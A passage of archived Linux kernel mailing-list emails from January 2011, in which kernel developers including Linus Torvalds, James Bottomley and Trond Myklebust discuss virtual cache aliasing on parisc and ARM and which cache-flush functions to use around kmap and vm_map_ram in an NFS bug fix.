	id 1PaaiP-0007qQ-PE
	for glpp-linux-parisc@lo.gmane.org; Wed, 05 Jan 2011 22:16:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751429Ab1AEVQQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Jan 2011 16:16:16 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:44180 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751373Ab1AEVQO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Jan 2011 16:16:14 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 5ACF48EE10C;
	Wed,  5 Jan 2011 13:16:14 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id I6ENNw1BPgqJ; Wed,  5 Jan 2011 13:16:14 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 7BA838EE0DF;
	Wed,  5 Jan 2011 13:16:12 -0800 (PST)
In-Reply-To: <AANLkTimzzBsdtWcZtP5E_CH1hUZugGMoaHOiMdQJf764@mail.gmail.com>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3334 gmane.linux.nfs:38010 gmane.linux.kernel:1083719 gmane.linux.ports.arm.kernel:101645 gmane.linux.kernel.cross-arch:8670
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3334>

On Wed, 2011-01-05 at 12:48 -0800, Linus Torvalds wrote:
> On Wed, Jan 5, 2011 at 12:33 PM, James Bottomley
> <James.Bottomley@hansenpartnership.com> wrote:
> >
> > well, that depends.  For us on parisc, kmap of a user page in !HIGHMEM
> > sets up an inequivalent aliase still ... because the cache colour of the
> > user and kernel virtual addresses are different.  Depending on the
> > return path to userspace, we still usually have to flush to get the user
> > to see the changes the kernel has made.
> 
> Umm. Again, that has nothing to do with kmap().
> 
> This time it's about the user space mapping.
> 
> Repeat after me: even without the kmap(), the kernel access to that
> mapping would have caused cache aliases.
> 
> See? Once more, the kmap() is entirely innocent. You can have a
> non-highmem mapping that you never use kmap for, and that you map into
> user space, and you'd see exactly the same aliases. Notice? Look ma,
> no kmap().

Yes, I understand that (we have no highmem on parisc, so kmap is a nop).
The problem (at least as I see it) is that once something within the
kernel (well, OK, mostly within drivers) touches a user page via its
kernel mapping, the flush often gets forgotten (mainly because it always
works on x86). What I was thinking about is that every time the kernel
touches a user space page, it has to be within a kmap/kunmap pair
(because the page might be highmem) ... so it's possible to make
kmap/kunmap do the flushing for this case so the driver writer can't
ever forget it.

I think the problem case is only really touching scatter/gather elements
outside of the DMA API (i.e. the driver pio case), so this may be
overkill.  Russell also pointed out that a lot of the PIO iterators do
excessive kmap_atomic/kunmap_atomic on the same page, so adding a flush
could damage performance to the point where the flash root devices on
arm might not work.  Plus the pio iterators already contain the
appropriate flush, so perhaps just using them in every case fixes the
problem.

> So clearly kmap() is not the issue. The issue continues to be a
> totally separate virtual mapping. Whether it's a user mapping or
> vm_map_ram() is obviously immaterial - as far as the CPU is concerned,
> there is no difference between the two (apart from the trivial
> differences of virtual location and permissions).
> 
> (You can also force the problem with vmalloc() an then following the
> kernel page tables, but I hope nobody does that any more. I suspect
> I'm wrong, though, there's probably code that mixes vmalloc and
> physical page accesses in various drivers)

Yes, unfortunately, we have seen this quite a bit; mainly to get large
buffers.  Its not just confined to drivers:  xfs used to fail on both
arm and parisc because it used a vmalloc region for its log buffer which
it then had to do I/O on.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Trond Myklebust <Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Wed, 05 Jan 2011 16:16:48 -0500
Organization: NetApp Inc
Lines: 40
Approved: news@gmane.org
Message-ID: <1294262208.2952.4.camel@heimdal.trondhjem.org>
References: <1294254337.16957.13.camel@mulgrave.site>
	 <AANLkTi=VZUxNFd7n-qwf5aiOeK5rkk8qBmo+kOpgg7up@mail.gmail.com>
	 <1294256169.16957.18.camel@mulgrave.site>
	 <20110105200008.GJ8638@n2100.arm.linux.org.uk>
	 <1294259637.16957.25.camel@mulgrave.site>
	 <AANLkTimzzBsdtWcZtP5E_CH1hUZugGMoaHOiMdQJf764@mail.gmail.com>
	 <20110105210448.GM8638@n2100.arm.linux.org.uk>
	 <AANLkTi=EXXBTW7oWHq3D+PHsx=thF1CpkRjn0ax2p5rm@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8BIT
X-Trace: dough.gmane.org 1294262262 29225 80.91.229.12 (5 Jan 2011 21:17:42 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 5 Jan 2011 21:17:42 +0000 (UTC)
Cc: Russell King - ARM Linux <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>,
	James Bottomley <James.Bottomley-JuX6DAaQMKPCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>,
	linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Marc Kleine-Budde <mkl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	Uwe =?ISO-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	Marc Kleine-Budde <m.kleine-budde-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Parisc List <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Linus Torvalds <torvalds-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
Original-X-From: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed Jan 05 22:17:28 2011
Return-path: <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1PaajX-00004u-NH
	for glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org; Wed, 05 Jan 2011 22:17:28 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1752837Ab1AEVRB (ORCPT <rfc822;glN-linux-nfs@m.gmane.org>);
	Wed, 5 Jan 2011 16:17:01 -0500
Original-Received: from mx2.netapp.com ([216.240.18.37]:19326 "EHLO mx2.netapp.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752817Ab1AEVQ7 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Wed, 5 Jan 2011 16:16:59 -0500
X-IronPort-AV: E=Sophos;i="4.60,279,1291622400"; 
   d="scan'208";a="502105158"
Original-Received: from smtp1.corp.netapp.com ([10.57.156.124])
  by mx2-out.netapp.com with ESMTP; 05 Jan 2011 13:16:49 -0800
Original-Received: from sacrsexc1-prd.hq.netapp.com (sacrsexc1-prd.hq.netapp.com [10.99.115.27])
	by smtp1.corp.netapp.com (8.13.1/8.13.1/NTAP-1.6) with ESMTP id p05LGntv029830;
	Wed, 5 Jan 2011 13:16:49 -0800 (PST)
Original-Received: from SACMVEXC2-PRD.hq.netapp.com ([10.99.115.17]) by sacrsexc1-prd.hq.netapp.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Wed, 5 Jan 2011 13:16:49 -0800
Original-Received: from 10.58.52.62 ([10.58.52.62]) by SACMVEXC2-PRD.hq.netapp.com ([10.99.115.16]) with Microsoft Exchange Server HTTP-DAV ;
 Wed,  5 Jan 2011 21:16:49 +0000
Original-Received: from heimdal.trondhjem.org by SACMVEXC2-PRD.hq.netapp.com; 05 Jan 2011 16:16:48 -0500
In-Reply-To: <AANLkTi=EXXBTW7oWHq3D+PHsx=thF1CpkRjn0ax2p5rm-JsoAwUIsXosN+BqQ9rBEUg@public.gmane.org>
X-Mailer: Evolution 2.32.1 (2.32.1-1.fc14) 
X-OriginalArrivalTime: 05 Jan 2011 21:16:49.0607 (UTC) FILETIME=[DDBE1570:01CBAD1D]
Original-Sender: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-nfs.vger.kernel.org>
X-Mailing-List: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.nfs:38011 gmane.linux.kernel:1083722 gmane.linux.ports.arm.kernel:101646 gmane.linux.ports.parisc:3335 gmane.linux.kernel.cross-arch:8671
Archived-At: <http://permalink.gmane.org/gmane.linux.nfs/38011>

On Wed, 2011-01-05 at 13:08 -0800, Linus Torvalds wrote: 
> On Wed, Jan 5, 2011 at 1:04 PM, Russell King - ARM Linux
> <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org> wrote:
> > On Wed, Jan 05, 2011 at 12:48:32PM -0800, Linus Torvalds wrote:
> >> (You can also force the problem with vmalloc() an then following the
> >> kernel page tables, but I hope nobody does that any more. I suspect
> >> I'm wrong, though, there's probably code that mixes vmalloc and
> >> physical page accesses in various drivers)
> >
> > Should vmalloc_to_page() (84 users)/vmalloc_to_pfn() (17 users) be
> > deprecated then? ;)
> 
> I do think that the "modern" way of doing it is
> "vmap()"/"vm_map_ram()" and friends, and it should be preferred over
> using vmalloc() and then looking up the pages.
> 
> But in the end, the two approaches really are equivalent, so it's not
> like it really matters. So I don't think we need to deprecate things
> officially, but obviously we should make people more aware of the
> whole virtual alias thing that crops up whenever you use any of these
> approaches.

So what should be the preferred way to ensure data gets flushed when
you've written directly to a page, and then want to read through the
vm_map_ram() virtual range? Should we be adding new semantics to
flush_kernel_dcache_page()?

-- 
Trond Myklebust
Linux NFS client maintainer

NetApp
Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org
www.netapp.com

--
To unsubscribe from this list: send the line "unsubscribe linux-nfs" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
Newsgroups: gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Wed, 5 Jan 2011 13:30:34 -0800
Lines: 40
Approved: news@gmane.org
Message-ID: <AANLkTi=3Gu-rz=-OdNtUXn4qw60Df6=YePnzvB=s-+Ov@mail.gmail.com>
References: <1294254337.16957.13.camel@mulgrave.site> <AANLkTi=VZUxNFd7n-qwf5aiOeK5rkk8qBmo+kOpgg7up@mail.gmail.com>
 <1294256169.16957.18.camel@mulgrave.site> <20110105200008.GJ8638@n2100.arm.linux.org.uk>
 <1294259637.16957.25.camel@mulgrave.site> <AANLkTimzzBsdtWcZtP5E_CH1hUZugGMoaHOiMdQJf764@mail.gmail.com>
 <20110105210448.GM8638@n2100.arm.linux.org.uk> <AANLkTi=EXXBTW7oWHq3D+PHsx=thF1CpkRjn0ax2p5rm@mail.gmail.com>
 <1294262208.2952.4.camel@heimdal.trondhjem.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1294263097 1065 80.91.229.12 (5 Jan 2011 21:31:37 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 5 Jan 2011 21:31:37 +0000 (UTC)
Cc: Russell King - ARM Linux <linux-lFZ/pmaqli7XmaaqVzeoHQ@public.gmane.org>,
	James Bottomley <James.Bottomley-JuX6DAaQMKPCXq6kfMZ53/egYHeGw8Jk@public.gmane.org>,
	linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Marc Kleine-Budde <mkl-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	=?ISO-8859-1?Q?Uwe_Kleine=2DK=F6nig?= 
	<u.kleine-koenig-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	Marc Kleine-Budde <m.kleine-budde-bIcnvbaLZ9MEGnE8C9+IrQ@public.gmane.org>,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Parisc List <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Trond Myklebust <Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Wed Jan 05 22:31:30 2011
Return-path: <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1Paax7-000061-VE
	for glN-linux-nfs-1dZseelyfdZg9hUCZPvPmw@public.gmane.org; Wed, 05 Jan 2011 22:31:30 +0100
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
	id S1752777Ab1AEVb2 (ORCPT <rfc822;glN-linux-nfs@m.gmane.org>);
	Wed, 5 Jan 2011 16:31:28 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:56673 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751429Ab1AEVb1 (ORCPT
	<rfc822;linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Wed, 5 Jan 2011 16:31:27 -0500
Original-Received: from mail-iy0-f174.google.com (mail-iy0-f174.google.com [209.85.210.174])
	(authenticated bits=0)
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id p05LUu6i017774
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=FAIL);
	Wed, 5 Jan 2011 13:30:57 -0800
Original-Received: by iyi12 with SMTP id 12so14312644iyi.19
        for <multiple recipients>; Wed, 05 Jan 2011 13:30:55 -0800 (PST)
Original-Received: by 10.231.19.77 with SMTP id z13mr7563697iba.166.1294263055045; Wed,
 05 Jan 2011 13:30:55 -0800 (PST)
Original-Received: by 10.231.31.72 with HTTP; Wed, 5 Jan 2011 13:30:33 -0800 (PST)
In-Reply-To: <1294262208.2952.4.camel-rJ7iovZKK19ZJLDQqaL3InhyD016LWXt@public.gmane.org>
X-Spam-Status: No, hits=-2.978 required=5 tests=AWL,BAYES_00
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-nfs-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-nfs.vger.kernel.org>
X-Mailing-List: linux-nfs-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.nfs:38013 gmane.linux.kernel:1083732 gmane.linux.ports.arm.kernel:101647 gmane.linux.ports.parisc:3336 gmane.linux.kernel.cross-arch:8672
Archived-At: <http://permalink.gmane.org/gmane.linux.nfs/38013>

On Wed, Jan 5, 2011 at 1:16 PM, Trond Myklebust
<Trond.Myklebust-HgOvQuBEEgTQT0dZR+AlfA@public.gmane.org> wrote:
>
> So what should be the preferred way to ensure data gets flushed when
> you've written directly to a page, and then want to read through the
> vm_map_ram() virtual range? Should we be adding new semantics to
> flush_kernel_dcache_page()?

The "preferred way" is actually simple: "don't do that". IOW, if some
page is accessed through a virtual mapping you've set up, then
_always_ access it through that virtual mapping.

Now, when that is impossible (and yes, it sometimes is), then you
should flush after doing all writes. And if you do the write through
the regular kernel mapping, you should use flush_dcache_page(). And if
you did it through the virtual mapping, you should use
"flush_kernel_vmap_range()" or whatever.

NOTE! I really didn't look those up very closely, and if the accesses
can happen concurrently you are basically screwed, so you do need to
do locking or something else to guarantee that there is some nice
sequential order.  And maybe I forgot something.  Which is why I do
suggest "don't do that" as a primary approach to the problem if at all
possible.

Oh, and you may need to flush before reading too (and many writes do
end up being "read-modify-write" cycles) in case it's possible that
you have stale data from a previous read that was then invalidated by
a write to the aliasing address. Even if that write was flushed out,
the stale read data may exist at the virtual address. I forget what
all we required - in the end the only sane model is "virtual caches
suck so bad that anybody who does them should be laughed at for being
a retard".

                            Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-nfs" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Trond Myklebust <Trond.Myklebust@netapp.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.kernel.cross-arch
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Wed, 05 Jan 2011 18:06:48 -0500
Organization: NetApp Inc
Lines: 60
Approved: news@gmane.org
Message-ID: <1294268808.2952.18.camel@heimdal.trondhjem.org>
References: <1294254337.16957.13.camel@mulgrave.site>
	 <AANLkTi=VZUxNFd7n-qwf5aiOeK5rkk8qBmo+kOpgg7up@mail.gmail.com>
	 <1294256169.16957.18.camel@mulgrave.site>
	 <20110105200008.GJ8638@n2100.arm.linux.org.uk>
	 <1294259637.16957.25.camel@mulgrave.site>
	 <AANLkTimzzBsdtWcZtP5E_CH1hUZugGMoaHOiMdQJf764@mail.gmail.com>
	 <20110105210448.GM8638@n2100.arm.linux.org.uk>
	 <AANLkTi=EXXBTW7oWHq3D+PHsx=thF1CpkRjn0ax2p5rm@mail.gmail.com>
	 <1294262208.2952.4.camel@heimdal.trondhjem.org>
	 <AANLkTi=3Gu-rz=-OdNtUXn4qw60Df6=YePnzvB=s-+Ov@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8BIT
X-Trace: dough.gmane.org 1294268852 29865 80.91.229.12 (5 Jan 2011 23:07:32 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 5 Jan 2011 23:07:32 +0000 (UTC)
Cc: Russell King - ARM Linux <linux@arm.linux.org.uk>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-nfs@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marc Kleine-Budde <mkl@pengutronix.de>,
	Uwe =?ISO-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig@pengutronix.de>,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 06 00:07:26 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PacRy-0006qo-8t
	for glpp-linux-parisc@lo.gmane.org; Thu, 06 Jan 2011 00:07:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753382Ab1AEXHG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 5 Jan 2011 18:07:06 -0500
Original-Received: from mx2.netapp.com ([216.240.18.37]:59467 "EHLO mx2.netapp.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752671Ab1AEXHD convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 5 Jan 2011 18:07:03 -0500
X-IronPort-AV: E=Sophos;i="4.60,279,1291622400"; 
   d="scan'208";a="502146527"
Original-Received: from smtp1.corp.netapp.com ([10.57.156.124])
  by mx2-out.netapp.com with ESMTP; 05 Jan 2011 15:06:52 -0800
Original-Received: from svlrsexc2-prd.hq.netapp.com (svlrsexc2-prd.hq.netapp.com [10.57.115.31])
	by smtp1.corp.netapp.com (8.13.1/8.13.1/NTAP-1.6) with ESMTP id p05N6orR017405;
	Wed, 5 Jan 2011 15:06:50 -0800 (PST)
Original-Received: from SACMVEXC2-PRD.hq.netapp.com ([10.99.115.17]) by svlrsexc2-prd.hq.netapp.com with Microsoft SMTPSVC(6.0.3790.3959);
	 Wed, 5 Jan 2011 15:06:50 -0800
Original-Received: from 10.58.52.62 ([10.58.52.62]) by SACMVEXC2-PRD.hq.netapp.com ([10.99.115.16]) with Microsoft Exchange Server HTTP-DAV ;
 Wed,  5 Jan 2011 23:06:49 +0000
Original-Received: from heimdal.trondhjem.org by SACMVEXC2-PRD.hq.netapp.com; 05 Jan 2011 18:06:49 -0500
In-Reply-To: <AANLkTi=3Gu-rz=-OdNtUXn4qw60Df6=YePnzvB=s-+Ov@mail.gmail.com>
X-Mailer: Evolution 2.32.1 (2.32.1-1.fc14) 
X-OriginalArrivalTime: 05 Jan 2011 23:06:50.0496 (UTC) FILETIME=[3C2DD000:01CBAD2D]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3337 gmane.linux.nfs:38017 gmane.linux.kernel:1083764 gmane.linux.ports.arm.kernel:101654 gmane.linux.kernel.cross-arch:8673
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3337>

On Wed, 2011-01-05 at 13:30 -0800, Linus Torvalds wrote: 
> On Wed, Jan 5, 2011 at 1:16 PM, Trond Myklebust
> <Trond.Myklebust@netapp.com> wrote:
> >
> > So what should be the preferred way to ensure data gets flushed when
> > you've written directly to a page, and then want to read through the
> > vm_map_ram() virtual range? Should we be adding new semantics to
> > flush_kernel_dcache_page()?
> 
> The "preferred way" is actually simple: "don't do that". IOW, if some
> page is accessed through a virtual mapping you've set up, then
> _always_ access it through that virtual mapping.
> 
> Now, when that is impossible (and yes, it sometimes is), then you
> should flush after doing all writes. And if you do the write through
> the regular kernel mapping, you should use flush_dcache_page(). And if
> you did it through the virtual mapping, you should use
> "flush_kernel_vmap_range()" or whatever.
> 
> NOTE! I really didn't look those up very closely, and if the accesses
> can happen concurrently you are basically screwed, so you do need to
> do locking or something else to guarantee that there is some nice
> sequential order.  And maybe I forgot something.  Which is why I do
> suggest "don't do that" as a primary approach to the problem if at all
> possible.
> 
> Oh, and you may need to flush before reading too (and many writes do
> end up being "read-modify-write" cycles) in case it's possible that
> you have stale data from a previous read that was then invalidated by
> a write to the aliasing address. Even if that write was flushed out,
> the stale read data may exist at the virtual address. I forget what
> all we required - in the end the only sane model is "virtual caches
> suck so bad that anybody who does them should be laughed at for being
> a retard".

Yes. The fix I sent out was a call to invalidate_kernel_vmap_range(),
which takes care of invalidating the cache prior to a virtual address
read.

My question was specifically about the write through the regular kernel
mapping: according to Russell and my reading of the cachetlb.txt
documentation, flush_dcache_page() is only guaranteed to have an effect
on page cache pages.
flush_kernel_dcache_page() (not to be confused with flush_dcache_page)
would appear to be the closest fit according to my reading of the
documentation, however the ARM implementation appears to be a no-op...

-- 
Trond Myklebust
Linux NFS client maintainer

NetApp
Trond.Myklebust@netapp.com
www.netapp.com

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.nfs,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc
Subject: Re: still nfs problems [Was: Linux 2.6.37-rc8]
Date: Wed, 05 Jan 2011 23:28:24 +0000
Lines: 67
Approved: news@gmane.org
Message-ID: <1294270104.16957.73.camel@mulgrave.site>
References: <1294254337.16957.13.camel@mulgrave.site>
	 <AANLkTi=VZUxNFd7n-qwf5aiOeK5rkk8qBmo+kOpgg7up@mail.gmail.com>
	 <1294256169.16957.18.camel@mulgrave.site>
	 <20110105200008.GJ8638@n2100.arm.linux.org.uk>
	 <1294259637.16957.25.camel@mulgrave.site>
	 <AANLkTimzzBsdtWcZtP5E_CH1hUZugGMoaHOiMdQJf764@mail.gmail.com>
	 <20110105210448.GM8638@n2100.arm.linux.org.uk>
	 <AANLkTi=EXXBTW7oWHq3D+PHsx=thF1CpkRjn0ax2p5rm@mail.gmail.com>
	 <1294262208.2952.4.camel@heimdal.trondhjem.org>
	 <AANLkTi=3Gu-rz=-OdNtUXn4qw60Df6=YePnzvB=s-+Ov@mail.gmail.com>
	 <1294268808.2952.18.camel@heimdal.trondhjem.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1294270133 3345 80.91.229.12 (5 Jan 2011 23:28:53 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 5 Jan 2011 23:28:53 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Russell King - ARM Linux <linux@arm.linux.org.uk>,
	linux-nfs@vger.kernel.org, linux-kernel@vger.kernel.org,
	Marc Kleine-Budde <mkl@pengutronix.de>,
	Uwe =?ISO-8859-1?Q?Kleine-K=F6nig?= 
	<u.kleine-koenig@pengutronix.de>,
	Marc Kleine-Budde <m.kleine-budde@pengutronix.de>,
	linux-arm-kernel@lists.infradead.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-arch@vger.kernel.org
To: Trond Myklebust <Trond.Myklebust@netapp.com>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Jan 06 00:28:48 2011
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1Pacmd-00025N-76
	for glka-linux-arch@lo.gmane.org; Thu, 06 Jan 2011 00:28:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752859Ab1AEX2k (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 5 Jan 2011 18:28:40 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:38990 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752338Ab1AEX2i (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Wed, 5 Jan 2011 18:28:38 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 6B29A8EE10C;
	Wed,  5 Jan 2011 15:28:37 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id IS5fs3wfdOqC; Wed,  5 Jan 2011 15:28:37 -0800 (PST)
